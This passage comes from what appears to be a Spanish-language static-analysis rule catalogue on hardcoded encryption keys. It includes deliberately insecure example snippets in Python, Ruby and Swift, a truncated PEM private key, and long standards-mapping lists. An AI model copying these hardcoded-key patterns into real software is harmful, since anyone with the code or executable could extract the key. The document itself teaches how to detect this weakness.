[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.sql.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida podrían poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea aplicar codificación rígida a una clave de cifrado. La codificación rígida de una clave de cifrado no solo permite que todos los desarrolladores de proyectos vean la clave de cifrado, sino que además dificulta la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.
Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida para cifrar la información:

...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...


Este código se ejecutará correctamente, pero cualquier usuario que tenga acceso al mismo tendrá acceso a la clave de cifrado. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave de cifrado codificada _hardcoded__key_, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer los datos cifrados por el sistema.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida podrían poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea aplicar codificación rígida a una clave de cifrado. La codificación rígida de una clave de cifrado no solo permite que todos los desarrolladores de proyectos vean la clave de cifrado, sino que además dificulta la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.
Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...


Este código se ejecutará correctamente, pero cualquier usuario que tenga acceso al mismo tendrá acceso a la clave de cifrado. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave de cifrado codificada "hardcoded_encryption_key", a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer los datos cifrados por el sistema.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
Nunca es una buena idea aplicar codificación rígida a una clave de cifrado. La codificación rígida de una clave de cifrado no solo permite que todos los desarrolladores de proyectos vean la clave de cifrado, sino que además dificulta la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
let encryptionKey = "YELLOW_SUBMARINE"
...
Ejemplo 2: el código siguiente realiza el cifrado AES con una clave de cifrado codificada de forma rígida:


...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave de cifrado a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación podrían extraer el valor de la clave de cifrado.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
Nunca codifique una clave de cifrado porque hace que la clave de cifrado sea visible para todos los desarrolladores del proyecto y que solucionar el problema sea extremadamente difícil. Para cambiar la clave de cifrado después de que el código esté en producción se necesita una revisión de software. Si la cuenta que protege la clave de cifrado se ve comprometida, el propietario del sistema debe elegir entre seguridad y disponibilidad.

Ejemplo 1: El siguiente ejemplo muestra una clave de cifrado dentro de un archivo .pem:


...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...


Cualquiera que tenga acceso al código puede ver la clave de cifrado. Una vez distribuida la aplicación, no hay forma de cambiar la clave de cifrado a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Cualquier atacante con acceso al ejecutable de la aplicación puede extraer el valor de la clave de cifrado.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
